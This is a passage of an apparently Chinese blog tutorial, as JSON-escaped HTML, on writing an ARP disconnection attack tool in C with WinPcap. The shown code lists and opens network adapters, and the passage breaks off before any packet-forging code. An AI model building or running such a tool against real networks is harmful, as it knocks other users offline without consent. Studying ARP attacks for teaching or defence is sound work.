style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">size\u662f\u53d1\u9001\u6570\u636e\u5305\u7684\u5927\u5c0f<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u63a5\u4e0b\u6765\u7ed9\u51fa\u7a0b\u5e8f\u7684\u6d41\u7a0b\u56fe\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:21.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/18e2999891374a475d0687ca9f989d8320140124162422.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:147\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-18e2999891374a475d0687ca9f989d8320140124162422.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u7531\u6b64\u53ef\u89c1\uff0c\u7a0b\u5e8f\u5e76\u4e0d\u662f\u5f88\u590d\u6742\uff0c\u5bf9\u4e8e\u53ea\u5b9e\u73b0<span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u65ad\u7f51\u653b\u51fb\u8fd9\u79cd\u5355\u4e00\u7684\u529f\u80fd\uff0c\u4ee3\u7801\u91cf\u8fd8\u662f\u76f8\u5bf9\u6bd4\u8f83\u5c11\u7684\u3002<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u586b\u5145\u6570\u636e\u5305\u662f\u6b64\u6b21\u653b\u51fb\u5b9e\u73b0\u4e2d\u4e00\u4e2a\u5f88\u91cd\u8981\u7684\u73af\u8282\uff0c\u6240\u4ee5\u6211\u4eec\u8981\u5148\u5c06\u6570\u636e\u5305\u7684\u7ed3\u6784\u5728\u7a0b\u5e8f\u4e2d\u8868\u73b0\u51fa\u6765\uff0c\u6211\u4eec\u7528\u7ed3\u6784\u4f53\u6765\u5b9a\u4e49\u6570\u636e\u5305\u7684\u6574\u4e2a\u7ed3\u6784\uff0c\u5982\u56fe\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/fe5df232cafa4c4e0f1a0294418e566020140124162424.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:148\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-fe5df232cafa4c4e0f1a0294418e566020140124162424.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u6839\u636e\u7a0b\u5e8f\u6d41\u7a0b\u56fe\u6211\u4eec\u53ef\u77e5\uff0c\u9996\u5148\u8981\u5217\u51fa\u672c\u673a\u6240\u6709\u7f51\u5361\uff0c\u7528\u4ee3\u7801\u5b9e\u73b0\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">char&nbsp;*iptos(u_long&nbsp;in)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;char&nbsp;output[12][3*4+3+1];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;short&nbsp;which;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;u_char&nbsp;*p;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;p&nbsp;=&nbsp;(u_char&nbsp;*)\u2208<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;which&nbsp;=&nbsp;(which&nbsp;+&nbsp;1&nbsp;==&nbsp;12&nbsp;?&nbsp;0&nbsp;:&nbsp;which&nbsp;+&nbsp;1);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;sprintf(output[which],&nbsp;&#8220;%d.%d.%d.%d&#8221;,&nbsp;p[0],&nbsp;p[1],&nbsp;p[2],&nbsp;p[3]);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;output[which];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">BOOL&nbsp;ChooseDev(char&nbsp;*devbuff,int&nbsp;buffsize,char&nbsp;*ipbuff)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">\/*<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">*devbuff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5c06\u8981\u50a8\u5b58\u9009\u62e9\u7684\u7f51\u5361\u540d\u7684\u7f13\u51b2\u533a<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;Buffsize&nbsp;&nbsp;&nbsp;&nbsp;\u8be5\u7f13\u51b2\u533a\u5927\u5c0f<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">*ipbuff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5c06\u50a8\u5b58\u9009\u62e9\u7684\u7f51\u5361IP\u7684\u7f13\u51b2\u533a<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_if_t&nbsp;*alldevs=NULL,*p=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;errbuff[PCAP_ERRBUF_SIZE];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;i,choose;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_addr_t&nbsp;*a=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memset(devbuff,NULL,buffsize);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(pcap_findalldevs(&amp;alldevs,errbuff)==-1)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;for(p=alldevs,i=0;&nbsp;p;&nbsp;p=p-&gt;next)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;%d.%s(%s)\\n&#8221;,++i,p-&gt;name,p-&gt;description);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((a=p-&gt;addresses))<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch(a-&gt;addr-&gt;sa_family)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;AF_INET:<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address&nbsp;Family&nbsp;Name:&nbsp;AF_INET\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(a-&gt;addr)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;Y-&nbsp;IP&nbsp;\u5730\u5740&nbsp;*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address:&nbsp;%s\\n&#8221;,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;addr)-&gt;sin_addr.s_addr));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(a-&gt;netmask)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;Y-&nbsp;\u63a9\u7801&nbsp;*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Netmask:&nbsp;%s\\n&#8221;,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;netmask)-&gt;sin_addr.s_addr));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*&nbsp;\u672a\u77e5&nbsp;*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;Address&nbsp;Family&nbsp;Name:&nbsp;Unknown\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;do<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u9009\u62e9\u4e00\u4e2a\u7f51\u5361:&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;while(scanf(&#8220;%d&#8221;,&amp;choose)!=1&nbsp;||&nbsp;choose&lt;1&nbsp;||choose&gt;i);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;for(p=alldevs,i=1;&nbsp;i!=choose;&nbsp;p=p-&gt;next,i++);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;strcat(devbuff,p-&gt;name);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memset(ipbuff,NULL,15);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;a=p-&gt;addresses;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;strcat(ipbuff,iptos(((struct&nbsp;sockaddr_in&nbsp;*)a-&gt;addr)-&gt;sin_addr.s_addr));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_freealldevs(alldevs);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u5217\u51fa\u672c\u673a\u6240\u6709\u7f51\u5361\u540e\uff0c\u81ea\u7136\u8981\u6253\u5f00\u6211\u4eec\u9009\u62e9\u7684\u7f51\u5361\uff0c\u83b7\u53d6\u5176\u63cf\u8ff0\u5b57\uff0c\u4ee5\u4f9b\u7a0b\u5e8f\u540e\u7eed\u4f7f\u7528\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">pcap_t&nbsp;*OpenAdapter(char&nbsp;*devName)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4f20\u5165\u7f51\u5361\u540d\uff0c\u8fd4\u56de\u6b64\u7f51\u5361\u63cf\u8ff0\u5b57\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_t&nbsp;*hpcap=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;errbuf[PCAP_ERRBUF_SIZE];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if((hpcap=pcap_open_live(devName,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u8bbe\u5907\u540d<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span 